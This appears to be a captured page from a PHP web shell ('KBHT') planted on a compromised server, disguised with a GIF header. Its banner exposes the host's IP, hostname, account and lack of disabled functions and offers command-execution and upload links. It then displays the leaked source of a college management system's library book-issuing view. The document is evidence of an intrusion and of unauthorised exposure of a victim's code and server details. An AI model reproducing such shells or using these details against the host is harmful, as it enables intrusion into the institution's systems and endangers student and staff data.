GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.140.185.194
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/views/admin/library/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/pdf/../css/../../cas/application/views/admin/library/issueBooks.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>Issue Books/Magazines/Journals & Library Copies | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/bootstrap-select.min.css"); ?>" type='text/css'>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery.dataTables.min.css"); ?>" type='text/css'>
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap-popper.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery.dataTables.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap-select.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
        </script>
    </head>
    <body class="cbp-spmenu-push">
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item active" aria-current="page">Library Management</li>
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Library/issueBooks/"); ?>">Issue Books/Magazines/Journals & Library Copies</a></li>
                        </ol>
                    </nav>

                    <section class="data-tables">
                        <div class="card card_border p-4">
                            <h3 class="card__title"><i class="fa fa-book"></i> Issue Books/Magazines/Journals & Library Copies</h3><br>
                            <?php if ($this->session->flashdata('successMessage')) { ?>
                                <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div>
                            <?php } ?>
                            <?php if ($this->session->flashdata('errorMessage')) { ?>
                                <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                            <?php } ?>
                            <fieldset>
                                <?php echo form_open(site_url('admin/Library/issueBooks'), ['name' => 'issueBooksMagazinesJournalFilterFrm', 'id' => 'issueBooksMagazinesJournalFilterFrm']); ?>
                                <div class="form-row">
                                    <div class="pull-left col-md-10">
                                        <legend>Filters <i class="fa fa-filter"></i></legend>
                                    </div>
                                    <div class="pull-right col-md-2">      
                                        <label for="sessions">Sessions</label>
                                        <select id="sessions" name="session" class="custom-select readonly" onChange="changeSessionFrm.submit();">
                                            <?php
                                            for ($i = 0; $i < sizeof($allSessions); $i++) {
                                                $color = ($allSessions[$i]->session_status == 'C') ? "#00FF00" : "#FF0000";
                                                $sessionId = $allSessions[$i]->session_id;
                                                $sessionName = $allSessions[$i]->session_name;
                                                if ($selectedSessionId) {
                                                    $selected = ($allSessions[$i]->session_id == $selectedSessionId) ? "selected" : "";
                                                } else {
                                                    $selected = ($allSessions[$i]->session_status == 'C') ? "selected" : "";
                                                }
                                                ?>
                                                <option style="color:<?php echo $color; ?>;" value="<?php echo $sessionId; ?>" <?php echo $selected; ?>><?php echo $sessionName; ?></option>
                                            <?php } ?>
                                        </select>
                                    </div>
                                </div>
                                <div class="form-row">
                                    <div class="form-group col-md-12">
                                        <label class="input__label"><b>Issue To : &nbsp; </b></label>
                                        <input <?php if ($this->session->flashdata('selectedIssuedTo') == "S") echo "checked"; ?> type="radio" class="issuedTo" id="Stu" name="issuedTo" value="S" <?php echo set_radio("issuedTo", "S"); ?>>&nbsp;<label for="Stu">Student</label>
                                        <input <?php if ($this->session->flashdata('selectedIssuedTo') == "E") echo "checked"; ?> type="radio" class="issuedTo" id="Emp" name="issuedTo" value="E" <?php echo set_radio("issuedTo", "E"); ?>>&nbsp;<label for="Emp">Employee</label>
                                    </div>
                                </div>
                                <div class="form-row" id="studentSearchFilters" style="display:none;">
                                    <div class="form-group col-md-12">
                                        <label for="rollNumber" class="input__label">Enter Student Rollno. *</label>
                                        <input type="text" name="rollNumber" id="rollNumber" class="form-control" value="<?php echo set_value("rollNumber"); ?>" placeholder="Enter Student Rollno.">
                                    </div>
                                </div>
                                <div class="form-row" id="employeeSearchFilters" style="display:none;">
                                    <div class="form-group col-md-2 pull-left">
                                        <label for="empRole" class="input__label">Role *</label>
                                        <select id="empRole" name="empRole" class="custom-select">
                                            <option value="" <?php echo set_select("empRole", "") ?>>Select Role</option>
                                            <?php foreach ($roles as $role) { ?>
                                                <option value="<?php echo $role->role_id; ?>" <?php echo set_select("empRole", $role->role_id); ?>><?php echo stripslashes($role->role_name); ?></option>
                                            <?php }
                                            ?>
                                        </select>
                                    </div>
                                    <div class="form-group col-md-10 pull-right">
                                        <label for="employee" class="input__label">Employee *</label>
                                        <select id="employee" name="employee" class="form-control selectpicker" data-selected-text-format="count > 1" data-dropup-auto="true" data-live-search="true" onmousedown="if (this.options.length > 2) {
                                                    this.size = 2;
                                                }" title="Select Employee">
                                        </select>
                                    </div>
                                </div>
                                <div class="form-row" id="applyBtn" style="display:none;">
                                    <div class="col-md-12">
                                        <label for="filterSubmitBtn" class="input__label"></label>
                                        <button id="filterSubmitBtn" name="filterSubmitBtn" type="submit" class="btn btn-sm btn-warning pull-right">Apply&nbsp;<i class="fa fa-filter"></i><i class="fa fa-arrow-right"></i></button>
                                    </div>
                                </div>
                                <?php echo form_close(); ?>
                            </fieldset>
                            <div class="card-body">
                                <?php
                                if (sizeof($empInfo)) {
                                    $loginActiveStatus = "";
                                    if ($empInfo[0]->tld_delete_status == "F" && $empInfo[0]->tld_login_status == "T" && $empInfo[0]->tld_working_status != "L") {
                                        $loginActiveStatus = "<i class='fa fa-check' style='color:#00FF00;'></i> Active";
                                    } else if ($empInfo[0]->tld_delete_status == "F" && $empInfo[0]->tld_login_status == "F" && $empInfo[0]->tld_working_status != "L") {
                                        $loginActiveStatus = "<i class='fa fa-ban' style='color:#FF0000;'></i> Blocked";
                                    } else if ($empInfo[0]->tld_delete_status == "F" && $empInfo[0]->tld_working_status == "L") {
                                        $loginActiveStatus = "<i class='fa fa-user-times' style='color:#FF0000;'></i> Employee Left Organization";
                                    } else {
                                        $loginActiveStatus = "<i class='fa fa-trash' style='color:#FF0000;'></i> Employee Deleted";
                                    }
                                    ?>
                                    <fieldset id="empDetails">
                                        <hr>
                                        <legend>Employee Info</legend>
                                        <div>
                                            <table border="1" class="table table-success table-hover table-striped">
                                                <tr>
                                                    <td rowspan="3">
                                                        <a href="<?php echo base_url($empInfo[0]->staff_photograph); ?>" target="_blank" title="Click To Open Photograph"><img src="<?php echo base_url($empInfo[0]->staff_photograph); ?>" id="photograph" height="78px" alt="Photograph Not Available"/></a><br><br>
                                                    </td>
                                                    <th>Emp No.</th>
                                                    <td><b><span id="empNo" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo ($empInfo[0]->smember_code == "") ? "-" : stripslashes($empInfo[0]->smember_code); ?></span></b></td>
                                                    <th>Designation</th>
                                                    <td><b><span id="empDesig" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo stripslashes($empInfo[0]->designatioName); ?></span></b></td>
                                                    <th>Signin Id</th>
                                                    <td><b><span id="empSigninId" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $empInfo[0]->tld_signinid; ?></span></b></td>
                                                </tr>
                                                <tr>
                                                    <th>First Name</th>
                                                    <td><b><span id="empFirstName" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo stripslashes($empInfo[0]->tprfl_firstname); ?></span></b></td>
                                                    <th>Last Name</th>
                                                    <td><b><span id="empLastName" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo ($empInfo[0]->tprfl_lastname == "") ? "-" : stripslashes($empInfo[0]->tprfl_lastname); ?></span></b></td>
                                                    <th>Gender</th>
                                                    <td><b><span id="empGender" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo ($empInfo[0]->tprfl_gender == "M") ? "<i class='fa fa-male'></i> Male" : (($empInfo[0]->tprfl_gender == "F") ? "<i class='fa fa-female'></i> Female" : "<i class='fa fa-transgender'></i> Trans"); ?></span></b></td>
                                                </tr>
                                                <tr>
                                                    <th>Category</th>
                                                    <td><b><span id="empCategory" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo stripslashes($empInfo[0]->dcm_short_name); ?></span></b></td>
                                                    <th>Sub. Dept</th>
                                                    <td><b><span id="empSubDept" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo stripslashes($empInfo[0]->sub_dept_name); ?></span></b></td>
                                                    <th>Department</th>
                                                    <td><b><span id="empDept" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo stripslashes($empInfo[0]->dept_name); ?></span></b></td>
                                                </tr>
                                                <tr>
                                                    <th colspan="2">Max. No. Of Books Allowed For Issue</th>
                                                    <td colspan="2"><b><span class="maxAllowedBooks" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo (sizeof($libConfigurationForUser)) ? $libConfigurationForUser[0]->lism_max_copy_allowed : 0; ?></span></b></td>
                                                    <th colspan="2">No. Of Books Issued</th>
                                                    <td colspan="2"><b><span class="bookIssued" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo (sizeof($alreadyIssuedBookList)) ? sizeof($alreadyIssuedBookList) : 0; ?></span></b></td>                                                   
                                                </tr>

                                            </table>
                                        </div>
                                        <input type="hidden" name="smember_id" id="smember_id" value="<?php echo $empInfo[0]->smember_id; ?>">
                                    </fieldset>
                                    <?php
                                }
                                ?>
                                <?php if (sizeof($studentInfo)) { ?>
                                    <fieldset id="studentDetails">
                                        <hr>
                                        <legend>Student Info</legend>
                                        <div>
                                            <table border="1" class="table table-warning table-hover table-striped">
                                                <tr>
                                                    <td rowspan="3">
                                                        <a href="<?php echo $studentInfo['stu_photograph']; ?>" target="_blank" title="Click To Open Photograph"><img src="<?php echo $studentInfo['stu_photograph']; ?>" id="photograph" height="78px" alt="Photograph Not Available"/></a><br><br>
                                                        <a href="<?php echo $studentInfo['stu_sign']; ?>" target="_blank" title="Click To Open Signature"><img src="<?php echo $studentInfo['stu_sign']; ?>" id="sign" width="78px" alt="Signature Not Available"/></a>
                                                    </td>
                                                    <th>Form No.</th>
                                                    <td><b><span id="formNo" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_form_no']; ?></span></b></td>
                                                    <th>Enrl. No.</th>
                                                    <td><b><span id="enrollmentNo" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_enrollment_no']; ?></span></b></td>
                                                    <th>Roll No.</th>
                                                    <td><b><span id="rollNo" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_roll_no']; ?></span></b></td>
                                                </tr>
                                                <tr>
                                                    <th>Name</th>
                                                    <td><b><span id="name" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_name']; ?></span></b></td>
                                                    <th>Father's Name</th>
                                                    <td><b><span id="fatherName" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_father_name']; ?></span></b></td>
                                                    <th>D.O.B.</th>
                                                    <td><b><span id="dob" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_dob']; ?></span></b></td>
                                                </tr>
                                                <tr>
                                                    <th>Course</th>
                                                    <td><b><span id="course" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_course'] . " (" . $studentInfo['stu_entry_type'] . ")"; ?></span></b></td>
                                                    <th>Batch</th>
                                                    <td><b><span id="batch" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_batch']; ?></span></b></td>
                                                    <th>Current Semester/Year</th>
                                                    <td><b><span id="semesterOrYear" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo $studentInfo['stu_current_semester']; ?></span></b></td>
                                                </tr>
                                                <tr>
                                                    <th colspan="2">Max. No. Of Books Allowed For Issue</th>
                                                    <td colspan="2"><b><span class="maxAllowedBooks" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo (sizeof($libConfigurationForUser)) ? $libConfigurationForUser[0]->lism_max_copy_allowed : 0; ?></span></b></td>
                                                    <th colspan="2">No. Of Books Issued</th>
                                                    <td colspan="2"><b><span class="bookIssued" style="color:#002166;text-decoration: underline;font-size: smaller;"><?php echo (sizeof($alreadyIssuedBookList)) ? sizeof($alreadyIssuedBookList) : 0; ?></span></b></td>                                                   
                                                </tr>
                                            </table>
                                        </div>
                                        <input type="hidden" name="tspi_id" id="tspi_id" value="<?php echo $studentInfo['stu_id']; ?>">
                                        <input type="hidden" name="course_category" id="course_category" value="<?php echo $studentInfo['stu_course_category']; ?>">
                                    </fieldset>
                                <?php } ?>
                                <?php
                                if (sizeof($empInfo) > 0 || sizeof($studentInfo) > 0) {
                                    ?>
                                    <fieldset id="alreadyIssueBookList">
                                        <div class="pull-left mt-3"  >
                                            <legend>Already Issued Book Detailed List</legend>
                                        </div>
                                        <div   class="pull-right mt-3"  >
                                            <legend id="capacityDetails" style='background-color:#cccccc'><?php echo ($noOfBooksMoreCanBeIssued == 0) ? "<span style='color:red;'>No More  Books/Magazines/Journals & Library Copies Can Be Issued!</span>" : "<span style='color:green'>'$noOfBooksMoreCanBeIssued' More  Books/Magazines/Journals & Library Copies Can Be Issued.</span>"; ?></legend>
                                        </div>
                                        <br><br><br>
                                        <hr>
                                        <div class="table-responsive">
                                            <table class="table table-striped table-hover">
                                                <thead>
                                                    <tr>
                                                        <th>Sr. No</th>
                                                        <th>Category</th>
                                                        <th>ISBN/ISSN No.</th>
                                                        <th>Title</th>
                                                        <th>Author(s)</th>
                                                        <th>Session</th>
                                                        <th>Publication Year</th>
                                                        <th>Issued By</th>
                                                    </tr>
                                                </thead>
                                                <tbody id="issuedBookList">
                                                    <?php
                                                    if (sizeof($alreadyIssuedBookList)) {
                                                        for ($i = 0; $i < sizeof($alreadyIssuedBookList); $i++) {
                                                            $record = $alreadyIssuedBookList[$i];
                                                            ?>
                                                            <tr>
                                                                <td><?php echo ($i + 1); ?></td>
                                                                <td><?php echo stripslashes($record->lpcm_short_name); ?></td>
                                                                <td><?php echo stripslashes($record->lbmjm_isbn_issn_no); ?></td>
                                                                <td><?php echo stripslashes($record->lbmjm_title); ?></td>
                                                                <td><?php echo ($record->lbmjm_authors == "" || $record->lbmjm_authors == NULL) ? "-" : stripslashes($record->lbmjm_authors); ?></td>
                                                                <td><?php echo stripslashes($record->session_name); ?></td>
                                                                <td><?php echo ($record->lbmjm_publication_year == "" || $record->lbmjm_publication_year == NULL) ? "-" : stripslashes($record->lbmjm_publication_year); ?></td>
                                                                <td><?php echo stripslashes($record->issuedBy); ?></td>
                                                            </tr>
                                                            <?php
                                                        }
                                                    } else {
                                                        ?>
                                                        <tr><td colspan="8" aline="center" style="text-align: center; vertical-align: middle;" >No Record Found</td></tr>
                                                    <?php }
                                                    ?>
                                                </tbody>
                                            </table>
                                        </div>
                                        <hr>
                                    </fieldset>
                                    <?php
                                }
                                if ($canIssueBooks) {
                                    ?>
                                    <fieldset id="bookList">
                                        <legend>Search Books/Magazines/Journals & Library Copies <i class="fa fa-search"></i></legend>                                  
                                        <div class="form-row">
                                            <div class="form-group col-md-12">
                                                <input type="text" name="searchKeyWord" id="searchKeyWord" class="form-control <?php echo ($noOfBooksMoreCanBeIssued == 0) ? "readonly" : ""; ?>" value="<?php echo set_value("searchKeyWord"); ?>" placeholder="Enter Search Keyword (ISBN No./ISSN No./Title/Author/Publication Year/Publisher Name/Subject Name/Place(Stack & Rows Etc.)/Description)">
                                            </div>
                                        </div>
                                        <div class="form-row">
                                            <div class="col-md-12">
                                                <label for="searchBooksBtn" class="input__label"></label>
                                                <button id="searchBooksBtn" name="searchBooksBtn" type="button" class="btn btn-sm btn-warning pull-right  <?php echo ($noOfBooksMoreCanBeIssued == 0) ? "readonly" : ""; ?>">Fetch  Books/Magazines/Journals & Library Copies&nbsp;<i class="fa fa-search"></i></button>
                                            </div>
                                        </div>
                                        <div id="error"></div>
                                        <hr>
                                        <div class="form-row">
                                            <div class="pull-left col-md-10">
                                                <legend>Non-Issued Book List</legend>
                                            </div>
                                            <div class="pull-left col-md-2" >
                                                <div class="form-group">
                                                    <button class="btn btn-block btn-primary allotBook" type="button">Issue &nbsp;<i class="fa fa-check"></i></button>
                                                </div>
                                            </div>
                                        </div>
                                        <hr>
                                        <div class="table-responsive">
                                            <table class="table table-striped table-hover">
                                                <thead>
                                                    <tr>
                                                        <th><i class="fa fa-check"></i></th>
                                                        <th>Sr. No</th>
                                                        <th>Category</th>
                                                        <th>ISBN/ISSN No.</th>
                                                        <th>Title</th>
                                                        <th>Author(s)</th>
                                                        <th>Session</th>
                                                        <th>Publication Year</th>
                                                    </tr>
                                                </thead>
                                                <tbody id="nonIssuedBookList">
                                                </tbody>
                                            </table>
                                        </div>
                                        <hr>
                                        <div class="form-row">
                                            <div class="pull-left col-md-10">                                            
                                            </div>
                                            <div class="pull-left col-md-2" >
                                                <div class="form-group">
                                                    <input type="hidden" id="allowed_days" name="allowed_days" value="<?php echo (sizeof($libConfigurationForUser)) ? $libConfigurationForUser[0]->lism_max_allowed_day : ""; ?>">
                                                    <button class="btn btn-block btn-primary allotBook" type="button">Issue&nbsp;<i class="fa fa-check"></i></button>
                                                </div>
                                            </div>
                                        </div>
                                    </fieldset>
                                    <?php
                                }
                                ?>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>
            $(".issuedTo").on("click", function () {
                if (this.value === "S") {
                    $('#studentSearchFilters').css("display", "block");
                    $('#employeeSearchFilters').css("display", "none");
                    $('#empRole').val('');
                    $("#employee").html("");
                    $('#empDetails').css('display', 'none');
                    $('#alreadyIssueBookList').css("display", "none");
                    $('#bookList').css("display", "none");
                } else {
                    $('#employeeSearchFilters').css("display", "block");
                    $('#studentSearchFilters').css("display", "none");
                    $('#rollNumber').val('');
                    $('#studentDetails').css('display', 'none');
                    $('#alreadyIssueBookList').css("display", "none");
                    $('#bookList').css("display", "none");
                }
                $('#applyBtn').css("display", "block");
            });

            $("#empRole").on("change", function () {
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($(this).val().trim() !== "") {
                    $("#employee").html("<option value=''>Select Employee</option>");
                    $.ajax({
                        url: '<?php echo site_url('admin/Staff/getAllEmployeesByRoleForDropDown/'); ?>',
                        data: {role_id: $(this).val(), csrf_token: csrfHash},
                        type: 'POST',
                        async: false,
                        success: function (result) {
                            var employeeInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#employee").html(employeeInfo.emp_list);
                            $("#employee").selectpicker('refresh');
                            csrfHash = employeeInfo.csrfHash;
                            issueBooksMagazinesJournalFilterFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $("#employee").html("<option value=''>Select Employee</option>");
                    $(".se-pre-con").fadeOut("slow");
                }
            });

            $('#searchBooksBtn').on("click", function () {
                var issuerID = '';
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                if ($('#searchKeyWord').val().trim() !== "") {
                    if (document.getElementById("Stu").checked === true) {
                        issuerID = $('#tspi_id').val();
                    } else if (document.getElementById("Emp").checked === true) {
                        issuerID = $('#smember_id').val();
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/Library/getBookList/'); ?>',
                        data: {searchKeywords: $('#searchKeyWord').val(), issuerID: issuerID, csrf_token: csrfHash},
                        type: 'POST',
                        async: false,
                        success: function (result) {
                            var books = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#nonIssuedBookList").html(books.bookTable);
                            csrfHash = books.csrfHash;
                            issueBooksMagazinesJournalFilterFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $("#error").html("<span style='color:red;'>Please Enter Books/Magazines/Journals & Library Copies Details To Search.</span>");
                    $(".se-pre-con").fadeOut("slow");
                }
            });

            $(".allotBook").on("click", function () {
                if ($(".check:checked").length === 0 || $(".check:checked").length === "0") {
                    $('#error').html("<span style='color:red'>Please Select A Book To Allot.</span>");
                } else {
                    $('#error').html("");
                    if (confirm('Are you sure want to issue selected book?')) {
                        var issuerID = '';
                        var issued_to = '';
                        if (document.getElementById("Stu").checked === true) {
                            issuerID = $('#tspi_id').val();
                            issued_to = 'S';
                        } else if (document.getElementById("Emp").checked === true) {
                            issuerID = $('#smember_id').val();
                            issued_to = 'E';
                        }
                        $(".se-pre-con").fadeIn("slow");
                        if (csrfHash === '') {
                            csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                        }
                        $.ajax({
                            url: '<?php echo site_url('admin/Library/saveBookAllotmentToIssuer/'); ?>',
                            data: {
                                searchKeywords: $('#searchKeyWord').val(),
                                book_id: $(".check:checked").val(),
                                issuerID: issuerID,
                                issued_to: issued_to,
                                session_id: $('#sessions').val(),
                                allowed_days: $('#allowed_days').val(),
                                csrf_token: csrfHash
                            },
                            type: 'POST',
                            async: false,
                            success: function (result) {
                                var res = JSON.parse(result);
                                $(".se-pre-con").fadeOut("slow");
                                if (res.status === 1 || res.status === "1") {
                                    $("#error").html("<span style='color:green'>" + res.message + "</span>");
                                } else {
                                    $("#error").html("<span style='color:red'>" + res.message + "</span>");
                                }
                                csrfHash = res.csrfHash;
                                issueBooksMagazinesJournalFilterFrm.csrf_token.value = csrfHash;
                                getIssuedBookList();
                                $('#searchBooksBtn').trigger("click");
                            }
                        });
                    }
                }
            });

            function getIssuedBookList() {
                var issuerID = '';
                var issued_to = '';
                var course_category = '';
                if (document.getElementById("Stu").checked === true) {
                    issuerID = $('#tspi_id').val();
                    issued_to = 'S';
                    course_category = $('#course_category').val();
                } else if (document.getElementById("Emp").checked === true) {
                    issuerID = $('#smember_id').val();
                    issued_to = 'E';
                    course_category = "S";
                }
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                $.ajax({
                    url: '<?php echo site_url('admin/Library/getIssuedBookList/'); ?>',
                    data: {
                        issuerID: issuerID,
                        course_category: course_category,
                        issued_to: issued_to,
                        session_id: $('#sessions').val(),
                        csrf_token: csrfHash
                    },
                    type: 'POST',
                    async: false,
                    success: function (result) {
                        var res = JSON.parse(result);
                        $(".se-pre-con").fadeOut("slow");
                        $("#issuedBookList").html(res.issuedBookTable);
                        $("#capacityDetails").html(res.message);
                        if (res.canIssueBooks === true) {
                            $("#bookList").css("display", "block");
                        } else {
                            $("#bookList").css("display", "none");
                        }
                        $('.bookIssued').text(res.noOfBookAlreadyIssued);
                        $('.maxAllowedBooks').text(res.maxNoOfBooksCanBeIssued);
                        csrfHash = res.csrfHash;
                        issueBooksMagazinesJournalFilterFrm.csrf_token.value = csrfHash;
                    }
                });
            }

            $(document).ready(function () {
                $('#alreadyIssueBookList').css("display", "none");
                if (document.getElementById("Stu").checked === true) {
                    $('#studentSearchFilters').css("display", "block");
                    $('#employeeSearchFilters').css("display", "none");
                    $('#applyBtn').css("display", "block");
                    $('#alreadyIssueBookList').css("display", "block");
                    $('#bookList').css("display", "block");
                }
                if (document.getElementById("Emp").checked === true) {
                    $('#employeeSearchFilters').css("display", "block");
                    $('#studentSearchFilters').css("display", "none");
                    $('#applyBtn').css("display", "block");
                    $('#alreadyIssueBookList').css("display", "block");
                    $('#bookList').css("display", "block");
                }
                if ($("#empRole").val().trim() !== "") {
                    $(".se-pre-con").fadeIn("slow");
                    if (csrfHash === '') {
                        csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                    }
                    $.ajax({
                        url: '<?php echo site_url('admin/Staff/getAllEmployeesByRoleForDropDown/'); ?>',
                        data: {role_id: $("#empRole").val().trim(), smember_id: '<?php echo (sizeof($empInfo)) ? $empInfo[0]->smember_id : ""; ?>', csrf_token: csrfHash},
                        type: 'POST',
                        async: false,
                        success: function (result) {
                            var employeeInfo = JSON.parse(result);
                            $(".se-pre-con").fadeOut("slow");
                            $("#employee").html(employeeInfo.emp_list);
                            $("#employee").selectpicker('refresh');
                            csrfHash = employeeInfo.csrfHash;
                            issueBooksMagazinesJournalFilterFrm.csrf_token.value = csrfHash;
                        }
                    });
                } else {
                    $("#employee").html("<option value=''>Select Employee</option>");
                    $(".se-pre-con").fadeOut("slow");
                }
            });
        </script>
        <?php $this->load->view("admin/footer"); ?>
    </body>
</html>

KBHT - 2023